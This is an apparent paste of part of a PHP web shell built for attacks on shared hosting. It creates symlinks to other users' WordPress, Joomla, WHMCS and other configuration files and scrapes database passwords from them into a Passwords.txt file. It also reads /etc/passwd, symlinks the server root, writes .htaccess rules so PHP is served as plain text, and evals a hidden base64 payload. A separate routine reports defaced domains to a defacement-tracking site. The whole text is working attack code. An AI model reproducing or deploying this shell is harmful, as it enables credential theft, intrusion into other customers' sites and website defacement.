  1745. @symlink('/home4/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
  1746. @symlink('/home4/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
  1747. @symlink('/home4/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
  1748. @symlink('/home4/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
  1749. @symlink('/home4/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
  1750. @symlink('/home4/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
  1751. @symlink('/home4/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
  1752. @symlink('/home4/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
  1753. @symlink('/home4/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
  1754. @symlink('/home4/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1755. @symlink('/home4/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1756. @symlink('/home4/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1757. @symlink('/home4/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
  1758. @symlink('/home4/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
  1759. @symlink('/home4/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
  1760. @symlink('/home4/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
  1761. @symlink('/home4/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
  1762. @symlink('/home4/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
  1763. @symlink('/home4/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
  1764. @symlink('/home4/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
  1765. @symlink('/home4/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
  1766. @symlink('/home4/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
  1767. @symlink('/home4/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
  1768. @symlink('/home4/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
  1769. @symlink('/home4/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
  1770. @symlink('/home4/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
  1771. @symlink('/home4/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
  1772. @symlink('/home4/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
  1773. @symlink('/home4/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
  1774. @symlink('/home4/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
  1775. @symlink('/home4/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
  1776. @symlink('/home4/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
  1777. @symlink('/home4/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
  1778. @symlink('/home4/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
  1779. @symlink('/home4/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
  1780. @symlink('/home4/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
  1781. @symlink('/home4/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1782. @symlink('/home4/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1783. @symlink('/home4/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1784. @symlink('/home4/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
  1785. @symlink('/home4/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
  1786. @symlink('/home4/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
  1787. @symlink('/home4/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
  1788. @symlink('/home4/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
  1789. @symlink('/home4/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
  1790. @symlink('/home4/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
  1791. @symlink('/home4/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
  1792. @symlink('/home4/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
  1793. @symlink('/home4/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
  1794. @symlink('/home4/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
  1795. @symlink('/home4/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
  1796. @symlink('/home4/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
  1797. @symlink('/home4/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
  1798. @symlink('/home4/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
  1799. @symlink('/home4/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
  1800. @symlink('/home4/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
  1801. @symlink('/home4/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
  1802. @symlink('/home4/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
  1803. @symlink('/home4/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
  1804. @symlink('/home4/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
  1805. @symlink('/home4/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
  1806. @symlink('/home4/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
  1807. @symlink('/home4/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
  1808. @symlink('/home4/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
  1809. @symlink('/home4/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
  1810. @symlink('/home4/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
  1811. @symlink('/home4/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
  1812. @symlink('/home4/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
  1813. @symlink('/home4/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
  1814. @symlink('/home4/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
  1815. @symlink('/home4/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
  1816. @symlink('/home4/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
  1817. @symlink('/home4/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
  1818. @symlink('/home4/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
  1819. @symlink('/home4/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
  1820. @symlink('/home4/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
  1821. @symlink('/home4/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
  1822. @symlink('/home4/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
  1823. @symlink('/home4/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
  1824. @symlink('/home4/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
  1825. @symlink('/home4/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1826. @symlink('/home4/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
  1827. @symlink('/home4/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
  1828. @symlink('/home4/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
  1829. @symlink('/home4/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
  1830. @symlink('/home4/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
  1831. @symlink('/home4/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
  1832. @symlink('/home4/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
  1833. @symlink('/home4/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
  1834. @symlink('/home4/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1835.  
  1836. }
  1837.  
  1838. //password grab
  1839.  
  1840. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien)
  1841. {
  1842.  
  1843. $ar0=explode($marqueurDebutLien, $text);
  1844. $ar1=explode($marqueurFinLien, $ar0[1]);
  1845. $ar=trim($ar1[0]);
  1846. return $ar;
  1847. }
  1848. eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
  1849. $ffile=fopen('Passwords.txt','a+');
  1850.  
  1851.  
  1852. $r= 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME'])."/cox_symconf/";
  1853. $re=$r;
  1854. $confi=array("-Wordpress.txt","-Joomla.txt","-WHMCS.txt","-Vbulletin.txt","-Other.txt","-Zencart.txt","-Hostbills.txt","-SMF.txt","-Drupal.txt","-OsCommerce.txt","-MyBB.txt","-PHPBB.txt","-IPB.txt","-BoxBilling.txt");
  1855.  
  1856. $users=file("/etc/passwd");
  1857. foreach($users as $user)
  1858. {
  1859.  
  1860. $str=explode(":",$user);
  1861. $usersss=$str[0];
  1862. foreach($confi as $co)
  1863. {
  1864.  
  1865.  
  1866. $uurl=$re.$usersss.$co;
  1867. $uel=$uurl;
  1868.  
  1869. $ch = curl_init();
  1870.  
  1871. curl_setopt($ch, CURLOPT_URL, $uel);
  1872. curl_setopt($ch, CURLOPT_HEADER, 1);
  1873. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1874. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  1875. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');
  1876. $result['EXE'] = curl_exec($ch);
  1877. curl_close($ch);
  1878. $uxl=$result['EXE'];
  1879.  
  1880.  
  1881. if($uxl && preg_match('/table_prefix/i',$uxl))
  1882. {
  1883.  
  1884. //Wordpress
  1885.  
  1886. $dbp=entre2v2($uxl,"DB_PASSWORD', '","');");
  1887. if(!empty($dbp))
  1888. $pass=$dbp."\n";
  1889. fwrite($ffile,$pass);
  1890.  
  1891. }
  1892. elseif($uxl && preg_match('/cc_encryption_hash/i',$uxl))
  1893. {
  1894.  
  1895. //WHMCS
  1896.  
  1897. $dbp=entre2v2($uxl,"db_password = '","';");
  1898. if(!empty($dbp))
  1899. $pass=$dbp."\n";
  1900. fwrite($ffile,$pass);
  1901.  
  1902. }
  1903.  
  1904.  
  1905. elseif($uxl && preg_match('/dbprefix/i',$uxl))
  1906. {
  1907.  
  1908. //Joomla
  1909.  
  1910. $db=entre2v2($uxl,"password = '","';");
  1911. if(!empty($db))
  1912. $pass=$db."\n";
  1913. fwrite($ffile,$pass);
  1914. }
  1915. elseif($uxl && preg_match('/admincpdir/i',$uxl))
  1916. {
  1917.  
  1918. //Vbulletin
  1919.  
  1920. $db=entre2v2($uxl,"password'] = '","';");
  1921. if(!empty($db))
  1922. $pass=$db."\n";
  1923. fwrite($ffile,$pass);
  1924.  
  1925. }
  1926. elseif($uxl && preg_match('/DB_DATABASE/i',$uxl))
  1927. {
  1928.  
  1929. //Other
  1930.  
  1931. $db=entre2v2($uxl,"DB_PASSWORD', '","');");
  1932. if(!empty($db))
  1933. $pass=$db."\n";
  1934. fwrite($ffile,$pass);
  1935. }
  1936. elseif($uxl && preg_match('/dbpass/i',$uxl))
  1937. {
  1938.  
  1939. //Other
  1940.  
  1941. $db=entre2v2($uxl,"dbpass = '","';");
  1942. if(!empty($db))
  1943. $pass=$db."\n";
  1944. fwrite($ffile,$pass);
  1945. }
  1946. elseif($uxl && preg_match('/dbpass/i',$uxl))
  1947. {
  1948.  
  1949. //Other
  1950.  
  1951. $db=entre2v2($uxl,"dbpass = '","';");
  1952. if(!empty($db))
  1953. $pass=$db."\n";
  1954. fwrite($ffile,$pass);
  1955.  
  1956. }
  1957. elseif($uxl && preg_match('/dbpass/i',$uxl))
  1958. {
  1959.  
  1960. //Other
  1961.  
  1962. $db=entre2v2($uxl,"dbpass = \"","\";");
  1963. if(!empty($db))
  1964. $pass=$db."\n";
  1965. fwrite($ffile,$pass);
  1966. }
  1967.  
  1968.  
  1969. }
  1970. }
  1971. echo "<center>
  1972. <a href=\"cox_symconf/root/\">Root Server</a>
  1973. <br><a href=\"cox_symconf/Passwords.txt\">Passwords</a>
  1974. <br><a href=\"cox_symconf/\">Configurations</a></center>";
  1975. }
  1976. else
  1977. {
  1978. echo "<center>
  1979. <form method=\"POST\">
  1980. <textarea name=\"passwd\" class='area' rows='15' cols='60'>";
  1981. $file = '/etc/passwd';
  1982. $read = @fopen($file, 'r');
  1983. if ($read){
  1984. $body = @fread($read, @filesize($file));
  1985. echo "".htmlentities($body)."";
  1986. }
  1987. elseif(!$read)
  1988. {
  1989. $read = @show_source($file) ;
  1990. }
  1991. elseif(!$read)
  1992. {
  1993. $read = @highlight_file($file);
  1994. }
  1995. elseif(!$read)
  1996. {
  1997. for($uid=0;$uid<1000;$uid++)
  1998. {
  1999. $ara = posix_getpwuid($uid);
  2000. if (!empty($ara))
  2001. {
  2002. while (list ($key, $val) = each($ara))
  2003. {
  2004. print "$val:";
  2005. }
  2006. print "\n";
  2007. }}}
  2008.  
  2009. flush();
  2010.  
  2011. echo "</textarea>
  2012. <p><input name=\"m\" size=\"80\" value=\"Start\" type=\"submit\"/></p>
  2013. </form></center>";
  2014. }
  2015. }
  2016. }
  2017. elseif($_GET['do'] == 'symlink') {
  2018. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  2019. $d0mains = @file("/etc/named.conf");
  2020. ##httaces
  2021. if($d0mains){
  2022. @mkdir("cox_sym",0777);
  2023. @chdir("cox_sym");
  2024. @exe("ln -s / root");
  2025. $file3 = 'Options Indexes FollowSymLinks
  2026. DirectoryIndex jancox.htm
  2027. AddType text/plain .php
  2028. AddHandler text/plain .php
  2029. Satisfy Any';
  2030. $fp3 = fopen('.htaccess','w');
  2031. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  2032. echo "
  2033. <table align=center border=1 style='width:60%;border-color:#333333;'>
  2034. <tr>
  2035. <td align=center><font size=2>S. No.</font></td>
  2036. <td align=center><font size=2>Domains</font></td>
  2037. <td align=center><font size=2>Users</font></td>
  2038. <td align=center><font size=2>Symlink</font></td>
  2039. </tr>";
  2040. $dcount = 1;
  2041. foreach($d0mains as $d0main){
  2042. if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
  2043. flush();
  2044. if(strlen(trim($domains[1][0])) > 2){
  2045. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  2046. echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
  2047. <td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
  2048. <td>".$user['name']."</td>
  2049. <td><a href='$full/cox_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
  2050. flush();
  2051. $dcount++;}}}
  2052. echo "</table>";
  2053. }else{
  2054. $TEST=@file('/etc/passwd');
  2055. if ($TEST){
  2056. @mkdir("cox_sym",0777);
  2057. @chdir("cox_sym");
  2058. exe("ln -s / root");
  2059. $file3 = 'Options Indexes FollowSymLinks
  2060. DirectoryIndex jancox.htm
  2061. AddType text/plain .php
  2062. AddHandler text/plain .php
  2063. Satisfy Any';
  2064.  $fp3 = fopen('.htaccess','w');
  2065.  $fw3 = fwrite($fp3,$file3);
  2066.  @fclose($fp3);
  2067.  echo "
  2068. <table align=center border=1><tr>
  2069. <td align=center><font size=3>S. No.</font></td>
  2070. <td align=center><font size=3>Users</font></td>
  2071. <td align=center><font size=3>Symlink</font></td></tr>";
  2072.  $dcount = 1;
  2073.  $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  2074.  while(!feof($file)){
  2075.  $s = fgets($file);
  2076.  $matches = array();
  2077.  $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2078.  $matches = str_replace("home/","",$matches[1]);
  2079.  if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2080.  continue;
  2081.  echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  2082. <td align=center><font class=txt>" . $matches . "</td>";
  2083.  echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  2084.  $dcount++;}fclose($file);
  2085.  echo "</table>";}else{if($os != "Windows"){@mkdir("cox_sym",0777);@chdir("cox_sym");@exe("ln -s / root");$file3 = '
  2086. Options Indexes FollowSymLinks
  2087. DirectoryIndex jancox.htm
  2088. AddType text/plain .php
  2089. AddHandler text/plain .php
  2090. Satisfy Any
  2091. ';
  2092.  $fp3 = fopen('.htaccess','w');
  2093.  $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  2094.  echo "
  2095. <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
  2096. <table align=center border=1><tr>
  2097. <td align=center><font size=3>ID</font></td>
  2098. <td align=center><font size=3>Users</font></td>
  2099. <td align=center><font size=3>Symlink</font></td></tr>";
  2100.  $temp = "";$val1 = 0;$val2 = 1000;
  2101.  for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
  2102.  if ($uid)$temp .= join(':',$uid)."\n";}
  2103.  echo '<br/>';$temp = trim($temp);$file5 =
  2104.  fopen("test.txt","w");
  2105.  fputs($file5,$temp);
  2106.  fclose($file5);$dcount = 1;$file =
  2107.  fopen("test.txt", "r") or exit("Unable to open file!");
  2108.  while(!feof($file)){$s = fgets($file);$matches = array();
  2109.  $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
  2110.  if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2111.  continue;
  2112.  echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  2113. <td align=center><font class=txt>" . $matches . "</td>";
  2114.  echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  2115.  $dcount++;}
  2116.  fclose($file);
  2117.  echo "</table></div></center>";unlink("test.txt");
  2118.  } else
  2119.  echo "<center><font size=3>Cannot create Symlink</font></center>";
  2120.  }
  2121.  }    
  2122. }
  2123. elseif($_GET['do'] == 'defacerid') {
  2124. echo "<center><form method='post'>
  2125.         <u>Defacer</u>: <br>
  2126.         <input type='text' name='hekel' size='50' value='0x1999'><br>
  2127.         <u>Team</u>: <br>
  2128.         <input type='text' name='tim' size='50' value='Indonesian Code Party'><br>
  2129.         <u>Domains</u>: <br>
  2130.         <textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
  2131.         <input type='submit' name='go' value='Submit' style='width: 450px;'>
  2132.         </form>";
  2133. $site = explode("\r\n", $_POST['sites']);
  2134. $go = $_POST['go'];
  2135. $hekel = $_POST['hekel'];
  2136. $tim = $_POST['tim'];
  2137. if($go) {
  2138. foreach($site as $sites) {
  2139. $zh = $sites;
  2140. $form_url = "https://www.defacer.id/notify";
  2141. $data_to_post = array();
  2142. $data_to_post['attacker'] = "$hekel";
  2143. $data_to_post['team'] = "$tim";
  2144. $data_to_post['poc'] = 'SQL Injection';
  2145. $data_to_post['url'] = "$zh";
  2146. $curl = curl_init();
  2147. curl_setopt($curl,CURLOPT_URL, $form_url);
  2148. curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
  2149. curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
  2150. curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
  2151. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  2152. curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
  2153. $result = curl_exec($curl);
  2154. echo $result;
  2155. curl_close($curl);
  2156. echo "<br>";
  2157. }
  2158. }
  2159. }
  2160.  
  2161. elseif($_GET['do'] == 'config') {
  2162.     if($_POST){
  2163.         $passwd = $_POST['passwd'];
  2164.         mkdir("cox_config", 0777);
  2165.         $isi_htc = "Options all\nRequire None\nSatisfy Any";
  2166.         $htc = fopen("cox_config/.htaccess","w");
  2167.         fwrite($htc, $isi_htc);
  2168.         preg_match_all('/(.*?):x:/', $passwd, $user_config);
  2169.         foreach($user_config[1] as $user_cox) {
  2170.             $user_config_dir = "/home/$user_cox/public_html/";
  2171.             if(is_readable($user_config_dir)) {
  2172.                 $grab_config = array(
  2173.                                         "/home/$user_cox/.my.cnf" => "cpanel",
  2174.                     "/home/$user_cox/.accesshash" => "WHM-accesshash",
  2175.                     "/home/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  2176.                     "/home/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  2177.                     "/home/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  2178.                     "/home/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",             
  2179.                     "/home/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  2180.                     "/home/$user_cox/public_html/forum/config.php" => "phpBB",
  2181.                     "/home/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  2182.                     "/home/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  2183.                     "/home/$user_cox/public_html/app/etc/local.xml" => "Magento",
  2184.                     "/home/$user_cox/public_html/admin/config.php" => "OpenCart",
  2185.                     "/home/$user_cox/public_html/slconfig.php" => "Sitelok",
  2186.                     "/home/$user_cox/public_html/application/config/database.php" => "Ellislab",                   
  2187.                     "/home/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  2188.                     "/home/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  2189.                     "/home/$user_cox/public_html/central/configuration.php" => "WHM Central",
  2190.                     "/home/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  2191.                     "/home/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  2192.                     "/home/$user_cox/public_html/submitticket.php" => "WHMCS",                                     
  2193.                     "/home/$user_cox/public_html/configuration.php" => "Joomla",                   
  2194.                     "/home/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  2195.                     "/home/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  2196.                     "/home/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",      
  2197.                     "/home/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  2198.                     "/home/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  2199.                     "/home/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  2200.                     "/home/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  2201.                     "/home/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  2202.                     "/home/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  2203.                     "/home/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  2204.                     "/home/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  2205.                     "/home/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  2206.                     "/home/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  2207.                     "/home/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  2208.                     "/home/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  2209.                     "/home/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  2210.                     "/home/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  2211.                     "/home/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  2212.                     "/home/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  2213.                     "/home/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  2214.                     "/home/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  2215.                     "/home/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  2216.                     "/home/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  2217.                     "/home/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  2218.                     "/home/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  2219.                     "/home/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  2220.                     "/home/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  2221.                     "/home/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  2222.                     "/home/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  2223.                     "/home/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  2224.                     "/home/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  2225.                     "/home/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  2226.                     "/home/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  2227.                     "/home/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  2228.                     "/home/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  2229.                     "/home/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",                  
  2230.                     "/home/$user_cox/public_html/wp-config.php" => "WordPress",
  2231.                     "/home/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  2232.                     "/home/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  2233.                     "/home/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",     
  2234.                     "/home/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  2235.                     "/home/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  2236.                     "/home/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  2237.                     "/home/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  2238.                     "/home/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  2239.                     "/home/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  2240.                     "/home/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  2241.                     "/home/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  2242.                     "/home/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  2243.                     "/home/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  2244.                     "/home/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  2245.                     "/home/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  2246.                     "/home/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  2247.                     "/home/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  2248.                     "/home/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  2249.                     "/home/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  2250.                     "/home/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  2251.                     "/home/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  2252.                     "/home/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  2253.                     "/home/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  2254.                     "/home/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  2255.                     "/home/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  2256.                     "/home/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  2257.                     "/home/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  2258.                     "/home/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  2259.                     "/home/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  2260.                     "/home/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  2261.                     "/home/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  2262.                     "/home/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  2263.                     "/home/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  2264.                     "/home/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  2265.                     "/home/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  2266.                     "/home/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
